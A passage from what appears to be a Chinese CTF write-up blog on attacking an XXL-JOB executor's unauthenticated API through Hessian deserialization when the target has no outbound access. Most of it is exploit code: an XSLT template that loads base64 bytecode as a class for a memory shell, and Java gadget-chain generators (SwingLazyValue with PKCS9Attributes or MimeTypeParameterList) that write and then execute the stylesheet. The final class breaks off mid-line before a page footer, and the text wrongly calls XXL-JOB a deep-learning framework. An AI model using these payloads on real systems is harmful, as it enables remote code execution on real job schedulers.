这次java意外地能查到资料.jpg,然后以为得用jndi打,就不是很想做。哎,没想到不出网,淦。还有个很几把神经的原因就是十个靶机我全都打不开,摆了
jadx怎么说
老样子,打开jadx反编译附件,发现是xxl-job,不是常规的序列化反序列化。
欸,去搜一下是什么东西,发现他是一个深度学习的框架,可以类比成cms之类的玩意。既然是一个现有的框架,那就直接搜搜他的漏洞:
XXL-JOB executor 未授权访问漏洞-CSDN博客
刚开始是找到这个,众所周知csdn的东西不是很靠谱,然后就去找了另外一个:
XXL-JOB在真实攻防下的总结 - 先知社区 (aliyun.com)
是的,在这里就已经能看见wp里的答案了


当时没怎么细看,可惜了
然后再找了一个:
确定就是hessian+xxl-job的组合拳。并且都是这个api的未授权洞。
但是他们的打法都是根据出网的jndi打的,本人jndi这方面比较垃圾,就不是很想做。。。
但是它确实不出网。那就来研究不出网的打法:
不出网怎么打
就是利用xslt去注入内存马:
记一次曲折的XXL-JOB API Hessian反序列化到Getshell
其中介绍到的xslt的gadget在jdk8下通杀,且为高可用payload。利用到了com.sun.org.apache.xalan.internal.xslt.Process的_main方法去加载恶意的xslt文件,我们可以在xslt文件内部执行任意语句,并且不受限。
给出一个xslt的模板:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>
Nookipop师傅的文件讲的很清楚了,走两次反序列化:
这是第一次,写入xslt的payload:
public class HessianProxyLVFileWrite {
public static void main(String[] args) throws Exception {
//Pkcs9可以换成MimeTypeParameterList
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
//PKCS9Attribute.EMAIL_ADDRESS_OID 是固定的,调试流程可以看到逻辑
//去修改需要读取的文件,和写入的文件名,实例中是读取1.txt写入pwned.txt
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{
"/tmp/1.xslt",SerializeUtils.getFileBytes("E:\\payload.xslt")}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("poc.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
}
这是第二次,执行命令的payload
public static void main(String[] args) throws Exception {
//Pkcs9可以换成MimeTypeParameterList
PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{
new String[]{
"-XT", "-XSL", "E:\\payload.xslt"}}));
SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
FileOutputStream fileOut = new FileOutputStream("poc.ser");
Hessian2Output out = new Hessian2Output(fileOut);
fileOut.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(pkcs9Attributes);
out.close();
fileOut.close();
}
}
改造一下改造回我们用的MimeTypeParameterList即可
给大家提供一个板子:
package com.Err0r233;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
" xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
" xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>";
String base64Code = "There is a base64_template code here";
String xslt = xsltTemplate.replace("base64", base64Code);
xslt = xslt.replace("classname", "any_classname_here");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{
"1.xslt",xslt.getBytes()});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
deser(ser(mimeTypeParameterList));
}
public static void SetValue(Object obj, String name, Object value) throws Exception{
Class clz = obj.getClass();
Field field = clz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String ser(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
//允许反序列化NonSerializable
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
//触发expect:
baos.write(67);
hessian2Output.writeObject(obj);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(baos.toByteArray(


3985

被折叠的 条评论
为什么被折叠?



